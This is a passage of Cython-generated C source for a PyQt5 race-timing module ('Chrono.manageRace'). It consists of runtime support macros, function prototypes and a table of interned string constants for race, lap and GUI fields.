default_encoding_c; sys = PyImport_ImportModule("sys"); if (!sys) goto bad; default_encoding = PyObject_CallMethod(sys, (char*) (const char*) "getdefaultencoding", NULL); Py_DECREF(sys); if (!default_encoding) goto bad; default_encoding_c = PyBytes_AsString(default_encoding); if (!default_encoding_c) goto bad; __PYX_DEFAULT_STRING_ENCODING = (char*) malloc(strlen(default_encoding_c)); if (!__PYX_DEFAULT_STRING_ENCODING) goto bad; strcpy(__PYX_DEFAULT_STRING_ENCODING, default_encoding_c); Py_DECREF(default_encoding); return 0; bad: Py_XDECREF(default_encoding); return -1; } #endif #endif /* Test for GCC > 2.95 */ #if defined(__GNUC__) && (__GNUC__ > 2 || (__GNUC__ == 2 && (__GNUC_MINOR__ > 95))) #define likely(x) __builtin_expect(!!(x), 1) #define unlikely(x) __builtin_expect(!!(x), 0) #else /* !__GNUC__ or GCC < 2.95 */ #define likely(x) (x) #define unlikely(x) (x) #endif /* __GNUC__ */ static PyObject *__pyx_m; static PyObject *__pyx_d; static PyObject *__pyx_b; static PyObject *__pyx_empty_tuple; static PyObject *__pyx_empty_bytes; static PyObject *__pyx_empty_unicode; static int __pyx_lineno; static int __pyx_clineno = 0; static const char * __pyx_cfilenm= __FILE__; static const char *__pyx_filename; static const char *__pyx_f[] = { "Chrono/manageRace.py", }; /*--- Type declarations ---*/ struct __pyx_defaults; typedef struct __pyx_defaults __pyx_defaults; struct __pyx_defaults { PyObject *__pyx_arg_status; }; /* --- Runtime support code (head) --- */ /* Refnanny.proto */ #ifndef CYTHON_REFNANNY #define CYTHON_REFNANNY 0 #endif #if CYTHON_REFNANNY typedef struct { void (*INCREF)(void*, PyObject*, int); void (*DECREF)(void*, PyObject*, int); void (*GOTREF)(void*, PyObject*, int); void (*GIVEREF)(void*, PyObject*, int); void* (*SetupContext)(const char*, int, const char*); void (*FinishContext)(void**); } __Pyx_RefNannyAPIStruct; static __Pyx_RefNannyAPIStruct *__Pyx_RefNanny = NULL; static __Pyx_RefNannyAPIStruct *__Pyx_RefNannyImportAPI(const char *modname); #define __Pyx_RefNannyDeclarations void *__pyx_refnanny = NULL; #ifdef WITH_THREAD #define __Pyx_RefNannySetupContext(name, acquire_gil)\ if (acquire_gil) {\ PyGILState_STATE __pyx_gilstate_save = PyGILState_Ensure();\ __pyx_refnanny = __Pyx_RefNanny->SetupContext((name), __LINE__, __FILE__);\ PyGILState_Release(__pyx_gilstate_save);\ } else {\ __pyx_refnanny = __Pyx_RefNanny->SetupContext((name), __LINE__, __FILE__);\ } #else #define __Pyx_RefNannySetupContext(name, acquire_gil)\ __pyx_refnanny = __Pyx_RefNanny->SetupContext((name), __LINE__, __FILE__) #endif #define __Pyx_RefNannyFinishContext()\ __Pyx_RefNanny->FinishContext(&__pyx_refnanny) #define __Pyx_INCREF(r) __Pyx_RefNanny->INCREF(__pyx_refnanny, (PyObject *)(r), __LINE__) #define __Pyx_DECREF(r) __Pyx_RefNanny->DECREF(__pyx_refnanny, (PyObject *)(r), __LINE__) #define __Pyx_GOTREF(r) __Pyx_RefNanny->GOTREF(__pyx_refnanny, (PyObject *)(r), __LINE__) #define __Pyx_GIVEREF(r) __Pyx_RefNanny->GIVEREF(__pyx_refnanny, (PyObject *)(r), __LINE__) #define __Pyx_XINCREF(r) do { if((r) != NULL) {__Pyx_INCREF(r); }} while(0) #define __Pyx_XDECREF(r) do { if((r) != NULL) {__Pyx_DECREF(r); }} while(0) #define __Pyx_XGOTREF(r) do { if((r) != NULL) {__Pyx_GOTREF(r); }} while(0) #define __Pyx_XGIVEREF(r) do { if((r) != NULL) {__Pyx_GIVEREF(r);}} while(0) #else #define __Pyx_RefNannyDeclarations #define __Pyx_RefNannySetupContext(name, acquire_gil) #define __Pyx_RefNannyFinishContext() #define __Pyx_INCREF(r) Py_INCREF(r) #define __Pyx_DECREF(r) Py_DECREF(r) #define __Pyx_GOTREF(r) #define __Pyx_GIVEREF(r) #define __Pyx_XINCREF(r) Py_XINCREF(r) #define __Pyx_XDECREF(r) Py_XDECREF(r) #define __Pyx_XGOTREF(r) #define __Pyx_XGIVEREF(r) #endif #define __Pyx_XDECREF_SET(r, v) do {\ PyObject *tmp = (PyObject *) r;\ r = v; __Pyx_XDECREF(tmp);\ } while (0) #define __Pyx_DECREF_SET(r, v) do {\ PyObject *tmp = (PyObject *) r;\ r = v; __Pyx_DECREF(tmp);\ } while (0) #define __Pyx_CLEAR(r) do { PyObject* tmp = ((PyObject*)(r)); r = NULL; __Pyx_DECREF(tmp);} while(0) #define __Pyx_XCLEAR(r) do { if((r) != NULL) {PyObject* tmp = ((PyObject*)(r)); r = NULL; __Pyx_DECREF(tmp);}} while(0) /* PyObjectGetAttrStr.proto */ #if CYTHON_USE_TYPE_SLOTS static CYTHON_INLINE PyObject* __Pyx_PyObject_GetAttrStr(PyObject* obj, PyObject* attr_name) { PyTypeObject* tp = Py_TYPE(obj); if (likely(tp->tp_getattro)) return tp->tp_getattro(obj, attr_name); #if PY_MAJOR_VERSION < 3 if (likely(tp->tp_getattr)) return tp->tp_getattr(obj, PyString_AS_STRING(attr_name)); #endif return PyObject_GetAttr(obj, attr_name); } #else #define __Pyx_PyObject_GetAttrStr(o,n) PyObject_GetAttr(o,n) #endif /* GetBuiltinName.proto */ static PyObject *__Pyx_GetBuiltinName(PyObject *name); /* RaiseArgTupleInvalid.proto */ static void __Pyx_RaiseArgtupleInvalid(const char* func_name, int exact, Py_ssize_t num_min, Py_ssize_t num_max, Py_ssize_t num_found); /* RaiseDoubleKeywords.proto */ static void __Pyx_RaiseDoubleKeywordsError(const char* func_name, PyObject* kw_name); /* ParseKeywords.proto */ static int __Pyx_ParseOptionalKeywords(PyObject *kwds, PyObject **argnames[],\ PyObject *kwds2, PyObject *values[], Py_ssize_t num_pos_args,\ const char* function_name); /* PyObjectSetAttrStr.proto */ #if CYTHON_USE_TYPE_SLOTS #define __Pyx_PyObject_DelAttrStr(o,n) __Pyx_PyObject_SetAttrStr(o,n,NULL) static CYTHON_INLINE int __Pyx_PyObject_SetAttrStr(PyObject* obj, PyObject* attr_name, PyObject* value) { PyTypeObject* tp = Py_TYPE(obj); if (likely(tp->tp_setattro)) return tp->tp_setattro(obj, attr_name, value); #if PY_MAJOR_VERSION < 3 if (likely(tp->tp_setattr)) return tp->tp_setattr(obj, PyString_AS_STRING(attr_name), value); #endif return PyObject_SetAttr(obj, attr_name, value); } #else #define __Pyx_PyObject_DelAttrStr(o,n) PyObject_DelAttr(o,n) #define __Pyx_PyObject_SetAttrStr(o,n,v) PyObject_SetAttr(o,n,v) #endif /* PyObjectCall.proto */ #if CYTHON_COMPILING_IN_CPYTHON static CYTHON_INLINE PyObject* __Pyx_PyObject_Call(PyObject *func, PyObject *arg, PyObject *kw); #else #define __Pyx_PyObject_Call(func, arg, kw) PyObject_Call(func, arg, kw) #endif /* PyIntBinop.proto */ #if !CYTHON_COMPILING_IN_PYPY static PyObject* __Pyx_PyInt_EqObjC(PyObject *op1, PyObject *op2, long intval, int inplace); #else #define __Pyx_PyInt_EqObjC(op1, op2, intval, inplace)\ PyObject_RichCompare(op1, op2, Py_EQ) #endif /* GetModuleGlobalName.proto */ static CYTHON_INLINE PyObject *__Pyx_GetModuleGlobalName(PyObject *name); /* PyCFunctionFastCall.proto */ #if CYTHON_FAST_PYCCALL static CYTHON_INLINE PyObject *__Pyx_PyCFunction_FastCall(PyObject *func, PyObject **args, Py_ssize_t nargs); #else #define __Pyx_PyCFunction_FastCall(func, args, nargs) (assert(0), NULL) #endif /* PyFunctionFastCall.proto */ #if CYTHON_FAST_PYCALL #define __Pyx_PyFunction_FastCall(func, args, nargs)\ __Pyx_PyFunction_FastCallDict((func), (args), (nargs), NULL) #if 1 || PY_VERSION_HEX < 0x030600B1 static PyObject *__Pyx_PyFunction_FastCallDict(PyObject *func, PyObject **args, int nargs, PyObject *kwargs); #else #define __Pyx_PyFunction_FastCallDict(func, args, nargs, kwargs) _PyFunction_FastCallDict(func, args, nargs, kwargs) #endif #endif /* PyObjectCallMethO.proto */ #if CYTHON_COMPILING_IN_CPYTHON static CYTHON_INLINE PyObject* __Pyx_PyObject_CallMethO(PyObject *func, PyObject *arg); #endif /* PyObjectCallOneArg.proto */ static CYTHON_INLINE PyObject* __Pyx_PyObject_CallOneArg(PyObject *func, PyObject *arg); /* PyObjectCallNoArg.proto */ #if CYTHON_COMPILING_IN_CPYTHON static CYTHON_INLINE PyObject* __Pyx_PyObject_CallNoArg(PyObject *func); #else #define __Pyx_PyObject_CallNoArg(func) __Pyx_PyObject_Call(func, __pyx_empty_tuple, NULL) #endif /* PyIntBinop.proto */ #if !CYTHON_COMPILING_IN_PYPY static PyObject* __Pyx_PyInt_TrueDivideObjC(PyObject *op1, PyObject *op2, long intval, int inplace); #else #define __Pyx_PyInt_TrueDivideObjC(op1, op2, intval, inplace)\ (inplace ? PyNumber_InPlaceTrueDivide(op1, op2) : PyNumber_TrueDivide(op1, op2)) #endif /* PyIntBinop.proto */ #if !CYTHON_COMPILING_IN_PYPY static PyObject* __Pyx_PyInt_RemainderObjC(PyObject *op1, PyObject *op2, long intval, int inplace); #else #define __Pyx_PyInt_RemainderObjC(op1, op2, intval, inplace)\ (inplace ? PyNumber_InPlaceRemainder(op1, op2) : PyNumber_Remainder(op1, op2)) #endif /* GetItemInt.proto */ #define __Pyx_GetItemInt(o, i, type, is_signed, to_py_func, is_list, wraparound, boundscheck)\ (__Pyx_fits_Py_ssize_t(i, type, is_signed) ?\ __Pyx_GetItemInt_Fast(o, (Py_ssize_t)i, is_list, wraparound, boundscheck) :\ (is_list ? (PyErr_SetString(PyExc_IndexError, "list index out of range"), (PyObject*)NULL) :\ __Pyx_GetItemInt_Generic(o, to_py_func(i)))) #define __Pyx_GetItemInt_List(o, i, type, is_signed, to_py_func, is_list, wraparound, boundscheck)\ (__Pyx_fits_Py_ssize_t(i, type, is_signed) ?\ __Pyx_GetItemInt_List_Fast(o, (Py_ssize_t)i, wraparound, boundscheck) :\ (PyErr_SetString(PyExc_IndexError, "list index out of range"), (PyObject*)NULL)) static CYTHON_INLINE PyObject *__Pyx_GetItemInt_List_Fast(PyObject *o, Py_ssize_t i, int wraparound, int boundscheck); #define __Pyx_GetItemInt_Tuple(o, i, type, is_signed, to_py_func, is_list, wraparound, boundscheck)\ (__Pyx_fits_Py_ssize_t(i, type, is_signed) ?\ __Pyx_GetItemInt_Tuple_Fast(o, (Py_ssize_t)i, wraparound, boundscheck) :\ (PyErr_SetString(PyExc_IndexError, "tuple index out of range"), (PyObject*)NULL)) static CYTHON_INLINE PyObject *__Pyx_GetItemInt_Tuple_Fast(PyObject *o, Py_ssize_t i, int wraparound, int boundscheck); static CYTHON_INLINE PyObject *__Pyx_GetItemInt_Generic(PyObject *o, PyObject* j); static CYTHON_INLINE PyObject *__Pyx_GetItemInt_Fast(PyObject *o, Py_ssize_t i, int is_list, int wraparound, int boundscheck); /* PyIntBinop.proto */ #if !CYTHON_COMPILING_IN_PYPY static PyObject* __Pyx_PyInt_SubtractObjC(PyObject *op1, PyObject *op2, long intval, int inplace); #else #define __Pyx_PyInt_SubtractObjC(op1, op2, intval, inplace)\ (inplace ? PyNumber_InPlaceSubtract(op1, op2) : PyNumber_Subtract(op1, op2)) #endif /* PyThreadStateGet.proto */ #if CYTHON_FAST_THREAD_STATE #define __Pyx_PyThreadState_declare PyThreadState *__pyx_tstate; #define __Pyx_PyThreadState_assign __pyx_tstate = PyThreadState_GET(); #else #define __Pyx_PyThreadState_declare #define __Pyx_PyThreadState_assign #endif /* SaveResetException.proto */ #if CYTHON_FAST_THREAD_STATE #define __Pyx_ExceptionSave(type, value, tb) __Pyx__ExceptionSave(__pyx_tstate, type, value, tb) static CYTHON_INLINE void __Pyx__ExceptionSave(PyThreadState *tstate, PyObject **type, PyObject **value, PyObject **tb); #define __Pyx_ExceptionReset(type, value, tb) __Pyx__ExceptionReset(__pyx_tstate, type, value, tb) static CYTHON_INLINE void __Pyx__ExceptionReset(PyThreadState *tstate, PyObject *type, PyObject *value, PyObject *tb); #else #define __Pyx_ExceptionSave(type, value, tb) PyErr_GetExcInfo(type, value, tb) #define __Pyx_ExceptionReset(type, value, tb) PyErr_SetExcInfo(type, value, tb) #endif /* PyErrExceptionMatches.proto */ #if CYTHON_FAST_THREAD_STATE #define __Pyx_PyErr_ExceptionMatches(err) __Pyx_PyErr_ExceptionMatchesInState(__pyx_tstate, err) static CYTHON_INLINE int __Pyx_PyErr_ExceptionMatchesInState(PyThreadState* tstate, PyObject* err); #else #define __Pyx_PyErr_ExceptionMatches(err) PyErr_ExceptionMatches(err) #endif /* GetException.proto */ #if CYTHON_FAST_THREAD_STATE #define __Pyx_GetException(type, value, tb) __Pyx__GetException(__pyx_tstate, type, value, tb) static int __Pyx__GetException(PyThreadState *tstate, PyObject **type, PyObject **value, PyObject **tb); #else static int __Pyx_GetException(PyObject **type, PyObject **value, PyObject **tb); #endif /* PyErrFetchRestore.proto */ #if CYTHON_FAST_THREAD_STATE #define __Pyx_ErrRestoreWithState(type, value, tb) __Pyx_ErrRestoreInState(PyThreadState_GET(), type, value, tb) #define __Pyx_ErrFetchWithState(type, value, tb) __Pyx_ErrFetchInState(PyThreadState_GET(), type, value, tb) #define __Pyx_ErrRestore(type, value, tb) __Pyx_ErrRestoreInState(__pyx_tstate, type, value, tb) #define __Pyx_ErrFetch(type, value, tb) __Pyx_ErrFetchInState(__pyx_tstate, type, value, tb) static CYTHON_INLINE void __Pyx_ErrRestoreInState(PyThreadState *tstate, PyObject *type, PyObject *value, PyObject *tb); static CYTHON_INLINE void __Pyx_ErrFetchInState(PyThreadState *tstate, PyObject **type, PyObject **value, PyObject **tb); #else #define __Pyx_ErrRestoreWithState(type, value, tb) PyErr_Restore(type, value, tb) #define __Pyx_ErrFetchWithState(type, value, tb) PyErr_Fetch(type, value, tb) #define __Pyx_ErrRestore(type, value, tb) PyErr_Restore(type, value, tb) #define __Pyx_ErrFetch(type, value, tb) PyErr_Fetch(type, value, tb) #endif /* SwapException.proto */ #if CYTHON_FAST_THREAD_STATE #define __Pyx_ExceptionSwap(type, value, tb) __Pyx__ExceptionSwap(__pyx_tstate, type, value, tb) static CYTHON_INLINE void __Pyx__ExceptionSwap(PyThreadState *tstate, PyObject **type, PyObject **value, PyObject **tb); #else static CYTHON_INLINE void __Pyx_ExceptionSwap(PyObject **type, PyObject **value, PyObject **tb); #endif /* FetchCommonType.proto */ static PyTypeObject* __Pyx_FetchCommonType(PyTypeObject* type); /* CythonFunction.proto */ #define __Pyx_CyFunction_USED 1 #include <structmember.h> #define __Pyx_CYFUNCTION_STATICMETHOD 0x01 #define __Pyx_CYFUNCTION_CLASSMETHOD 0x02 #define __Pyx_CYFUNCTION_CCLASS 0x04 #define __Pyx_CyFunction_GetClosure(f)\ (((__pyx_CyFunctionObject *) (f))->func_closure) #define __Pyx_CyFunction_GetClassObj(f)\ (((__pyx_CyFunctionObject *) (f))->func_classobj) #define __Pyx_CyFunction_Defaults(type, f)\ ((type *)(((__pyx_CyFunctionObject *) (f))->defaults)) #define __Pyx_CyFunction_SetDefaultsGetter(f, g)\ ((__pyx_CyFunctionObject *) (f))->defaults_getter = (g) typedef struct { PyCFunctionObject func; #if PY_VERSION_HEX < 0x030500A0 PyObject *func_weakreflist; #endif PyObject *func_dict; PyObject *func_name; PyObject *func_qualname; PyObject *func_doc; PyObject *func_globals; PyObject *func_code; PyObject *func_closure; PyObject *func_classobj; void *defaults; int defaults_pyobjects; int flags; PyObject *defaults_tuple; PyObject *defaults_kwdict; PyObject *(*defaults_getter)(PyObject *); PyObject *func_annotations; } __pyx_CyFunctionObject; static PyTypeObject *__pyx_CyFunctionType = 0; #define __Pyx_CyFunction_NewEx(ml, flags, qualname, self, module, globals, code)\ __Pyx_CyFunction_New(__pyx_CyFunctionType, ml, flags, qualname, self, module, globals, code) static PyObject *__Pyx_CyFunction_New(PyTypeObject *, PyMethodDef *ml, int flags, PyObject* qualname, PyObject *self, PyObject *module, PyObject *globals, PyObject* code); static CYTHON_INLINE void *__Pyx_CyFunction_InitDefaults(PyObject *m, size_t size, int pyobjects); static CYTHON_INLINE void __Pyx_CyFunction_SetDefaultsTuple(PyObject *m, PyObject *tuple); static CYTHON_INLINE void __Pyx_CyFunction_SetDefaultsKwDict(PyObject *m, PyObject *dict); static CYTHON_INLINE void __Pyx_CyFunction_SetAnnotationsDict(PyObject *m, PyObject *dict); static int __pyx_CyFunction_init(void); /* PySequenceContains.proto */ static CYTHON_INLINE int __Pyx_PySequence_ContainsTF(PyObject* item, PyObject* seq, int eq) { int result = PySequence_Contains(seq, item); return unlikely(result < 0) ? result : (result == (eq == Py_EQ)); } /* PyIntBinop.proto */ #if !CYTHON_COMPILING_IN_PYPY static PyObject* __Pyx_PyInt_AddObjC(PyObject *op1, PyObject *op2, long intval, int inplace); #else #define __Pyx_PyInt_AddObjC(op1, op2, intval, inplace)\ (inplace ? PyNumber_InPlaceAdd(op1, op2) : PyNumber_Add(op1, op2)) #endif /* SetItemInt.proto */ #define __Pyx_SetItemInt(o, i, v, type, is_signed, to_py_func, is_list, wraparound, boundscheck)\ (__Pyx_fits_Py_ssize_t(i, type, is_signed) ?\ __Pyx_SetItemInt_Fast(o, (Py_ssize_t)i, v, is_list, wraparound, boundscheck) :\ (is_list ? (PyErr_SetString(PyExc_IndexError, "list assignment index out of range"), -1) :\ __Pyx_SetItemInt_Generic(o, to_py_func(i), v))) static CYTHON_INLINE int __Pyx_SetItemInt_Generic(PyObject *o, PyObject *j, PyObject *v); static CYTHON_INLINE int __Pyx_SetItemInt_Fast(PyObject *o, Py_ssize_t i, PyObject *v, int is_list, int wraparound, int boundscheck); /* ListAppend.proto */ #if CYTHON_USE_PYLIST_INTERNALS && CYTHON_ASSUME_SAFE_MACROS static CYTHON_INLINE int __Pyx_PyList_Append(PyObject* list, PyObject* x) { PyListObject* L = (PyListObject*) list; Py_ssize_t len = Py_SIZE(list); if (likely(L->allocated > len) & likely(len > (L->allocated >> 1))) { Py_INCREF(x); PyList_SET_ITEM(list, len, x); Py_SIZE(list) = len+1; return 0; } return PyList_Append(list, x); } #else #define __Pyx_PyList_Append(L,x) PyList_Append(L,x) #endif /* PyObjectCallMethod1.proto */ static PyObject* __Pyx_PyObject_CallMethod1(PyObject* obj, PyObject* method_name, PyObject* arg); /* append.proto */ static CYTHON_INLINE int __Pyx_PyObject_Append(PyObject* L, PyObject* x); /* Import.proto */ static PyObject *__Pyx_Import(PyObject *name, PyObject *from_list, int level); /* ImportFrom.proto */ static PyObject* __Pyx_ImportFrom(PyObject* module, PyObject* name); /* CalculateMetaclass.proto */ static PyObject *__Pyx_CalculateMetaclass(PyTypeObject *metaclass, PyObject *bases); /* Py3ClassCreate.proto */ static PyObject *__Pyx_Py3MetaclassPrepare(PyObject *metaclass, PyObject *bases, PyObject *name, PyObject *qualname, PyObject *mkw, PyObject *modname, PyObject *doc); static PyObject *__Pyx_Py3ClassCreate(PyObject *metaclass, PyObject *name, PyObject *bases, PyObject *dict, PyObject *mkw, int calculate_metaclass, int allow_py2_metaclass); /* CodeObjectCache.proto */ typedef struct { PyCodeObject* code_object; int code_line; } __Pyx_CodeObjectCacheEntry; struct __Pyx_CodeObjectCache { int count; int max_count; __Pyx_CodeObjectCacheEntry* entries; }; static struct __Pyx_CodeObjectCache __pyx_code_cache = {0,0,NULL}; static int __pyx_bisect_code_objects(__Pyx_CodeObjectCacheEntry* entries, int count, int code_line); static PyCodeObject *__pyx_find_code_object(int code_line); static void __pyx_insert_code_object(int code_line, PyCodeObject* code_object); /* AddTraceback.proto */ static void __Pyx_AddTraceback(const char *funcname, int c_line, int py_line, const char *filename); /* CIntToPy.proto */ static CYTHON_INLINE PyObject* __Pyx_PyInt_From_long(long value); /* CIntFromPy.proto */ static CYTHON_INLINE long __Pyx_PyInt_As_long(PyObject *); /* CIntFromPy.proto */ static CYTHON_INLINE int __Pyx_PyInt_As_int(PyObject *); /* CheckBinaryVersion.proto */ static int __Pyx_check_binary_version(void); /* InitStrings.proto */ static int __Pyx_InitStrings(__Pyx_StringTabEntry *t); /* Module declarations from 'Chrono.manageRace' */ #define __Pyx_MODULE_NAME "Chrono.manageRace" int __pyx_module_is_main_Chrono__manageRace = 0; /* Implementation of 'Chrono.manageRace' */ static PyObject *__pyx_builtin_print; static PyObject *__pyx_builtin_range; static PyObject *__pyx_builtin_sorted; static PyObject *__pyx_builtin_ValueError; static const char __pyx_k_c[] = "c"; static const char __pyx_k_e[] = "e"; static const char __pyx_k_i[] = "i"; static const char __pyx_k_l[] = "l"; static const char __pyx_k_q[] = "q"; static const char __pyx_k_r[] = "r"; static const char __pyx_k_s[] = "%s"; static const char __pyx_k_t[] = "t"; static const char __pyx_k_3d[] = "%-3d"; static const char __pyx_k_Ok[] = "Ok"; static const char __pyx_k_Qt[] = "Qt"; static const char __pyx_k_cl[] = "cl"; static const char __pyx_k_tp[] = "tp"; static const char __pyx_k_tt[] = "tt"; static const char __pyx_k__29[] = ""; static const char __pyx_k_btn[] = "btn"; static const char __pyx_k_col[] = "col"; static const char __pyx_k_dlg[] = "dlg"; static const char __pyx_k_doc[] = "__doc__"; static const char __pyx_k_dur[] = "dur"; static const char __pyx_k_gui[] = "gui"; static const char __pyx_k_key[] = "key"; static const char __pyx_k_lap[] = "lap"; static const char __pyx_k_msg[] = "msg"; static const char __pyx_k_nom[] = "nom"; static const char __pyx_k_num[] = "num"; static const char __pyx_k_ptt[] = "ptt"; static const char __pyx_k_row[] = "row"; static const char __pyx_k_s_s[] = "%s,%s"; static const char __pyx_k_txt[] = "txt"; static const char __pyx_k_val[] = "val"; static const char __pyx_k_3_3d[] = "%3.3d"; static const char __pyx_k_Cyan[] = "Cyan"; static const char __pyx_k_Stop[] = "Stop"; static const char __pyx_k_best[] = "best"; static const char __pyx_k_chk1[] = "chk1"; static const char __pyx_k_cols[] = "cols"; static const char __pyx_k_exec[] = "exec"; static const char __pyx_k_hour[] = "hour"; static const char __pyx_k_icon[] = "icon"; static const char __pyx_k_init[] = "__init__"; static const char __pyx_k_item[] = "item"; static const char __pyx_k_laps[] = "laps"; static const char __pyx_k_last[] = "last"; static const char __pyx_k_main[] = "__main__"; static const char __pyx_k_name[] = "name"; static const char __pyx_k_race[] = "race"; static const char __pyx_k_self[] = "self"; static const char __pyx_k_show[] = "show"; static const char __pyx_k_stop[] = "stop"; static const char __pyx_k_task[] = "task"; static const char __pyx_k_test[] = "__test__"; static const char __pyx_k_text[] = "text"; static const char __pyx_k_tick[] = "tick"; static const char __pyx_k_time[] = "time"; static const char __pyx_k_type[] = "type"; static const char __pyx_k_Green[] = "Green"; static const char __pyx_k_QIcon[] = "QIcon"; static const char __pyx_k_QTime[] = "QTime"; static const char __pyx_k_Queue[] = "Queue"; static const char __pyx_k_Start[] = "Start"; static const char __pyx_k_White[] = "White"; static const char __pyx_k_brush[] = "brush"; static const char __pyx_k_color[] = "color"; static const char __pyx_k_empty[] = "empty"; static const char __pyx_k_ended[] = "ended"; static const char __pyx_k_icons[] = "icons"; static const char __pyx_k_index[] = "index"; static const char __pyx_k_items[] = "items"; static const char __pyx_k_print[] = "print"; static const char __pyx_k_queue[] = "queue"; static const char __pyx_k_range[] = "range"; static const char __pyx_k_s_s_p[] = "%s / %s - %%p%%"; static const char __pyx_k_short[] = "short"; static const char __pyx_k_start[] = "start"; static const char __pyx_k_timer[] = "timer"; static const char __pyx_k_value[] = "value"; static const char __pyx_k_B_Stop[] = "B_Stop"; static const char __pyx_k_Cancel[] = "Cancel"; static const char __pyx_k_Finish[] = "Finish"; static const char __pyx_k_P_Race[] = "P_Race"; static const char __pyx_k_QBrush[] = "QBrush"; static const char __pyx_k_QTimer[] = "QTimer"; static const char __pyx_k_Violet[] = "Violet"; static const char __pyx_k_append[] = "append"; static const char __pyx_k_colors[] = "colors"; static const char __pyx_k_column[] = "column"; static const char __pyx_k_doRace[] = "doRace"; static const char __pyx_k_import[] = "__import__"; static const char __pyx_k_laps_2[] = "_laps"; static const char __pyx_k_millis[] = "millis"; static const char __pyx_k_minute[] = "minute"; static const char __pyx_k_module[] = "__module__"; static const char __pyx_k_numero[] = "numero"; static const char __pyx_k_prenom[] = "prenom"; static const char __pyx_k_sorted[] = "sorted"; static const char __pyx_k_status[] = "status"; static const char __pyx_k_update[] = "update"; static const char __pyx_k_B_Start[] = "B_Start"; static const char __pyx_k_EndTime[] = "EndTime"; static const char __pyx_k_Globals[] = "Globals"; static const char __pyx_k_QDialog[] = "QDialog"; static const char __pyx_k_Suspend[] = "Suspend"; static const char __pyx_k_Waiting[] = "Waiting"; static const char __pyx_k_Warning[] = "Warning"; static const char __pyx_k_basecol[] = "_basecol"; static const char __pyx_k_bestLap[] = "bestLap"; static const char __pyx_k_bestlap[] = "bestlap"; static const char __pyx_k_cmdStop[] = "cmdStop"; static const char __pyx_k_connect[] = "connect"; static const char __pyx_k_curtime[] = "curtime"; static const char __pyx_k_decoder[] = "decoder"; static const char __pyx_k_indexOf[] = "indexOf"; static const char __pyx_k_lastlap[] = "lastlap"; static const char __pyx_k_maxrows[] = "maxrows"; static const char __pyx_k_maxsize[] = "maxsize"; static const char __pyx_k_partial[] = "partial"; static const char __pyx_k_prepare[] = "__prepare__"; static const char __pyx_k_private[] = "private"; static const char __pyx_k_reverse[] = "reverse"; static const char __pyx_k_setIcon[] = "setIcon"; static const char __pyx_k_setItem[] = "setItem"; static const char __pyx_k_setLine[] = "setLine"; static const char __pyx_k_setText[] = "setText"; static const char __pyx_k_setTime[] = "setTime"; static const char __pyx_k_setupUi[] = "setupUi"; static const char __pyx_k_theRace[] = "theRace"; static const char __pyx_k_timeout[] = "timeout"; static const char __pyx_k_toolBox[] = "toolBox"; static const char __pyx_k_updated[] = "updated"; static const char __pyx_k_B_Define[] = "B_Define"; static const char __pyx_k_Critical[] = "Critical"; static const char __pyx_k_cmdStart[] = "cmdStart"; static const char __pyx_k_dictRace[] = "dictRace"; static const char __pyx_k_duration[] = "duration"; static const char __pyx_k_lapcount[] = "lapcount"; static const char __pyx_k_lasttick[] = "lasttick"; static const char __pyx_k_max_time[] = "max_time"; static const char __pyx_k_partials[] = "partials"; static const char __pyx_k_qualname[] = "__qualname__"; static const char __pyx_k_raceLaps[] = "raceLaps"; static const char __pyx_k_raceTime[] = "raceTime"; static const char __pyx_k_receiver[] = "receiver"; static const char __pyx_k_remticks[] = "remticks"; static const char __pyx_k_ridernum[] = "ridernum"; static const char __pyx_k_setStyle[] = "setStyle"; static const char __pyx_k_setValue[] = "setValue"; static const char __pyx_k_status_2[] = "_status"; static const char __pyx_k_totticks[] = "totticks"; static const char __pyx_k_QCheckBox[] = "QCheckBox"; static const char __pyx_k_addButton[] = "addButton"; static const char __pyx_k_bestLapTb[] = "bestLapTb"; static const char __pyx_k_cmdFinish[] = "cmdFinish"; static const char __pyx_k_isChecked[] = "isChecked"; static const char __pyx_k_metaclass[] = "__metaclass__"; static const char __pyx_k_num_width[] = "num_width"; static const char __pyx_k_racerList[] = "racerList"; static const char __pyx_k_ridername[] = "ridername"; static const char __pyx_k_setFormat[] = "setFormat"; static const char __pyx_k_sortItems[] = "sortItems"; static const char __pyx_k_textcolor[] = "textcolor"; static const char __pyx_k_translate[] = "translate"; static const char __pyx_k_ActionRole[] = "ActionRole"; static const char __pyx_k_MainWindow[] = "MainWindow"; static const char __pyx_k_R_RaceLive[] = "R_RaceLive"; static const char __pyx_k_ValueError[] = "ValueError"; static const char __pyx_k_char_width[] = "char_width"; static const char __pyx_k_cmdEndTime[] = "cmdEndTime"; static const char __pyx_k_cmdSuspend[] = "cmdSuspend"; static const char __pyx_k_cmdWaiting[] = "cmdWaiting"; static const char __pyx_k_createTime[] = "createTime"; static const char __pyx_k_duration_2[] = "_duration"; static const char __pyx_k_get_nowait[] = "get_nowait"; static const char __pyx_k_laps_width[] = "laps_width"; static const char __pyx_k_manageRace[] = "manageRace"; static const char __pyx_k_name_width[] = "name_width"; static const char __pyx_k_remain_lap[] = "remain_lap"; static const char __pyx_k_setEnabled[] = "setEnabled"; static const char __pyx_k_setMaximum[] = "setMaximum"; static const char __pyx_k_start_time[] = "start_time"; static const char __pyx_k_time_width[] = "time_width"; static const char __pyx_k_3_3d_10_10x[] = "%3.3d%-10.10x"; static const char __pyx_k_PB_TimeRace[] = "PB_TimeRace"; static const char __pyx_k_PyQt5_QtGui[] = "PyQt5.QtGui"; static const char __pyx_k_QMessageBox[] = "QMessageBox"; static const char __pyx_k_bestPartial[] = "bestPartial"; static const char __pyx_k_finish_flag[] = "finish flag"; static const char __pyx_k_preferences[] = "preferences"; static const char __pyx_k_setCheckBox[] = "setCheckBox"; static const char __pyx_k_setItemText[] = "setItemText"; static const char __pyx_k_setProperty[] = "setProperty"; static const char __pyx_k_setRowCount[] = "setRowCount"; static const char __pyx_k_tpRacerList[] = "tpRacerList"; static const char __pyx_k_PyQt5_QtCore[] = "PyQt5.QtCore"; static const char __pyx_k_SolidPattern[] = "SolidPattern"; static const char __pyx_k_Unknow_TP__d[] = "Unknow TP_%d"; static const char __pyx_k_cmdSuspended[] = "cmdSuspended"; static const char __pyx_k_durETimeEdit[] = "durETimeEdit"; static const char __pyx_k_got_an_error[] = "got an error"; static const char __pyx_k_raceDuration[] = "raceDuration"; static const char __pyx_k_Finir_le_tour[] = "Finir le tour"; static const char __pyx_k_Stopping_Race[] = "Stopping Race "; static const char __pyx_k_clickedButton[] = "clickedButton"; static const char __pyx_k_getActualRace[] = "getActualRace"; static const char __pyx_k_requestDefine[] = "requestDefine"; static const char __pyx_k_setBackground[] = "setBackground"; static const char __pyx_k_start_time_ms[] = "start_time_ms"; static const char 